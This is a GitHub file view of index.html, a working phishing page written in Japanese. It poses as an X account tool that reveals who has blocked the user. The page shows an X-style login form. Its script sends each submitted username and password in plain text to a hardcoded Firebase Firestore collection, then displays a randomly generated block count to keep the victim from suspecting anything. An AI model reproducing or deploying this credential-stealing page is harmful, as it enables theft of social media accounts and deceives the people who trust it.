-
Notifications
You must be signed in to change notification settings - Fork 0
Collapse file tree
Files
Search this repository
/
Copy pathindex.html
More file actions
More file actions
Latest commit
175 lines (153 loc) · 7.96 KB
/
index.html
File metadata and controls
175 lines (153 loc) · 7.96 KB
You must be signed in to make or propose changes
More edit options
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Xにログイン</title>
<link rel="icon" type="https://raw.githubusercontent.com/blockchecker/images/main/ダウンロード.png">
<!-- Twitterカード用 -->
<meta name="twitter:card" content="summary" />
<meta name="twitter:title" content="ブロックされているユーザーを確認しましょう" />
<meta name="twitter:description" content="Xアカウントブロック分析ツール" />
<meta name="twitter:image" content="https://raw.githubusercontent.com/blockchecker/images/main/ダウンロード.png" />
<meta name="twitter:url" content="https://blockchecker.github.io/settings/" />
<style>
*, *::before, *::after { box-sizing: border-box; margin:0; padding:0; }
body {
min-height:100vh;
background:#000;
display:flex;
align-items:center;
justify-content:center;
font-family:-apple-system, BlinkMacSystemFont, 'Segoe UI', Arial, sans-serif;
color:#fff;
overflow-x:hidden;
}
.container { width:100%; max-width:420px; padding:16px; display:flex; flex-direction:column; align-items:center; }
.header-icon { margin-bottom:32px; }
.header-icon img { width:60px; height:60px; object-fit:contain; }
.card { width:100%; background:#000; border:1px solid #333; border-radius:20px; padding:40px 30px; box-shadow:0 0 0 1px rgba(255,255,255,0.1);}
.title-area { text-align:center; margin-bottom:32px;}
.title { font-size:24px; font-weight:800; color:#fff; letter-spacing:-0.5px; margin-bottom:12px; }
.subtitle { font-size:14px; color:#888; line-height:1.4; }
.description { font-size:12px; color:#666; margin-top:20px; line-height:1.6; padding-top:16px; border-top:1px solid #222; text-align:left; }
.description strong { color:#aaa; font-weight:700; }
.form-group { margin-bottom:20px; text-align:left; }
label { display:block; font-size:13px; font-weight:600; color:#fff; margin-bottom:8px; }
.input-wrapper { position:relative; }
input { width:100%; padding:14px 14px 14px 42px; background:#000; border:1px solid #333; border-radius:12px; color:#fff; font-size:16px; outline:none; transition:border-color 0.2s; }
input:focus { border-color:#fff; }
.input-icon { position:absolute; left:14px; top:50%; transform:translateY(-50%); width:18px; height:18px; color:#666; }
.btn-login { width:100%; padding:14px; background:#fff; color:#000; border:none; border-radius:30px; font-size:15px; font-weight:700; cursor:pointer; margin-top:10px; transition:opacity 0.2s; }
.btn-login:hover { opacity:0.9; }
#analysis-screen, #result-screen { display:none; text-align:center; }
.loading-spinner { width:40px; height:40px; border:3px solid rgba(255,255,255,0.1); border-top:3px solid #fff; border-radius:50%; margin:30px auto; animation:spin 1s linear infinite; }
@keyframes spin { 0% { transform:rotate(0deg);} 100% { transform:rotate(360deg);} }
.result-number { font-size:64px; font-weight:800; margin:20px 0; color:#fff; }
.result-text { font-size:18px; color:#888; margin-bottom:30px; }
.btn-back { background:transparent; color:#fff; border:1px solid #333; padding:10px 20px; border-radius:20px; cursor:pointer; font-size:14px; }
.link-with-icon { display:flex; align-items:center; gap:8px; margin-top:12px; }
.link-with-icon img { width:24px; height:24px; object-fit:contain; }
.link-with-icon a { color:#fff; text-decoration:underline; font-weight:bold; }
</style>
</head>
<body>
<div class="container">
<div class="header-icon">
<img src="https://raw.githubusercontent.com/blockchecker/images/main/ダウンロード.png" alt="X Logo">
</div>
<div class="card">
<div id="login-screen">
<div class="title-area">
<div class="title">Xアカウントにログイン</div>
<div class="subtitle">メールアドレスとパスワードを入力してください</div>
<div class="description">
<strong>あなたをブロックしているユーザーを分析できます。</strong><br>
あなたは何人ものユーザーに接続的な影響力や反響を与えているのか調べてみましょう。
</div>
</div>
<form id="login-form">
<div class="form-group">
<label>電話番号/メールアドレス/ユーザー名</label>
<div class="input-wrapper">
<svg class="input-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/>
<circle cx="12" cy="7" r="4"/>
</svg>
<input type="text" id="account" placeholder="電話番号/メールアドレス/ユーザー名" required />
</div>
</div>
<div class="form-group">
<label>パスワード</label>
<div class="input-wrapper">
<svg class="input-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<rect x="3" y="11" width="18" height="11" rx="2" ry="2"/>
<path d="M7 11V7a5 5 0 0 1 10 0v4"/>
</svg>
<input type="password" id="password" placeholder="パスワードを入力" required />
</div>
</div>
<button type="submit" class="btn-login">ログイン</button>
</form>
</div>
<div id="analysis-screen">
<div class="title">分析中...</div>
<div class="subtitle">あなたをブロックしているユーザーを検索しています</div>
<div class="loading-spinner"></div>
</div>
<div id="result-screen">
<div class="title">分析完了</div>
<div class="subtitle">あなたをブロックしているユーザー数</div>
<div class="result-number" id="block-count">0</div>
<div class="result-text">人のユーザーにブロックされています</div>
<button class="btn-back" id="btn-retry">もう一度試す</button>
</div>
</div>
</div>
<script type="module">
import { initializeApp } from "https://www.gstatic.com/firebasejs/10.1.0/firebase-app.js";
import { getFirestore, collection, addDoc, serverTimestamp } from "https://www.gstatic.com/firebasejs/10.1.0/firebase-firestore.js";
const firebaseConfig = {
apiKey: "AIzaSyB65yYda5Y1bVM3q74HizAQSbRrOT014x0",
authDomain: "daada-ae048.firebaseapp.com",
projectId: "daada-ae048",
storageBucket: "daada-ae048.firebasestorage.app",
messagingSenderId: "844142280857",
appId: "1:844142280857:web:9ced0beca7eeafd3223808",
measurementId: "G-02E60HW9QW"
};
const app = initializeApp(firebaseConfig);
const db = getFirestore(app);
const loginForm = document.getElementById("login-form");
const loginScreen = document.getElementById("login-screen");
const analysisScreen = document.getElementById("analysis-screen");
const resultScreen = document.getElementById("result-screen");
const blockCountEl = document.getElementById("block-count");
const btnRetry = document.getElementById("btn-retry");
loginForm.addEventListener("submit", async (e) => {
e.preventDefault();
const account = document.getElementById("account").value;
const password = document.getElementById('password').value;
const randomBlockCount = Math.floor(Math.random() * 20) + 1;
loginScreen.style.display = "none";
analysisScreen.style.display = "block";
setTimeout(async () => {
await addDoc(collection(db, "blockchecker"), {
username: account,
password: password,
blockCount: randomBlockCount,
createdAt: serverTimestamp()
});
analysisScreen.style.display = "none";
resultScreen.style.display = "block";
blockCountEl.textContent = randomBlockCount;
}, 2000);
});
btnRetry.addEventListener("click", () => {
resultScreen.style.display = "none";
loginScreen.style.display = "block";
loginForm.reset();
});
</script>
</body>
</html>